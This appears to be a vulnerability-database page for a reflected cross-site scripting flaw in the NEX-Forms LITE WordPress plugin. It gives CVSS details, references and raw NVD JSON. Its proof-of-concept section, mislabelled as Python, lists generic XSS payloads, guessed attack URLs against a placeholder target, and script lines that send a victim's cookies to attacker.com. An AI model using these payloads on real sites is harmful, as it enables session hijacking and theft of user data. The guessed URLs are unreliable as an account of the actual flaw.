CVE-2025-58966

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Basix NEX-Forms LITE nex-forms-lite allows Reflected XSS.This issue affects NEX-Forms LITE: from n/a through < 8.2.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

NEX-Forms LITE < 8.2

WordPress NEX-Forms LITE插件所有8.2之前版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-58966 PoC - Reflected XSS in NEX-Forms LITE -->
<!-- Replace TARGET_URL with the vulnerable site URL -->

<!-- Basic XSS PoC -->
<script>alert(document.domain)</script>

<!-- Event-based XSS PoC -->
<img src=x onerror=alert(document.cookie)>

<!-- Full attack URL example -->
<!-- https://TARGET_URL/wp-admin/admin.php?page=nex-forms-builder&form_id=<script>alert(document.cookie)</script> -->
<!-- or -->
<!-- https://TARGET_URL/?nf_form_submit=1&nexformfield=<img src=x onerror=alert(document.cookie)> -->

<!-- Cookie stealing PoC -->
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

<!-- Session hijacking PoC -->
<script>
  document.location='https://attacker.com/phishing?session='+document.cookie;
</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-58966
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-58966
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-58966/
[4] VulDB https://vuldb.com/cve/CVE-2025-58966
[5] https://patchstack.com/database/Wordpress/Plugin/nex-forms-lite/vulnerability/wordpress-nex-forms-lite-plugin-8-2-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-58966", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:52.960", "lastModified": "2026-04-27T20:16:22.960", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Basix NEX-Forms LITE nex-forms-lite allows Reflected XSS.This issue affects NEX-Forms LITE: from n/a through < 8.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/nex-forms-lite/vulnerability/wordpress-nex-forms-lite-plugin-8-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}